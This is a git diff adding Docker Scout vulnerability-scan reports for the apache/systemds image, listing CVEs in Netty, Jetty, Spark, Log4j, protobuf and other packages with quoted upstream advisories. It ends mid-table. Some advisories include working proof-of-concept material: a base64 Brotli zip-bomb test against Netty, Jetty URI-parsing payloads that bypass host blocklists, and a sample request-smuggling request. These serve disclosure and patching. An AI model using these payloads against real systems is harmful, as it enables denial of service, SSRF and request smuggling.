+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.124.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/scout_results/medium-cves/sysds_output8.md b/docker/scout_results/medium-cves/sysds_output8.md new file mode 100644 index 00000000000..f53cd36f051 --- /dev/null +++ b/docker/scout_results/medium-cves/sysds_output8.md @@ -0,0 +1,1731 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:0d72f68531f39c7540e5b5fb7351e340dbaaebf71eecb36e40495a10bfe3e956
vulnerabilitiescritical: 1 high: 10 medium: 29 low: 7 unspecified: 1
platformlinux/amd64
size369 MB
packages358
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
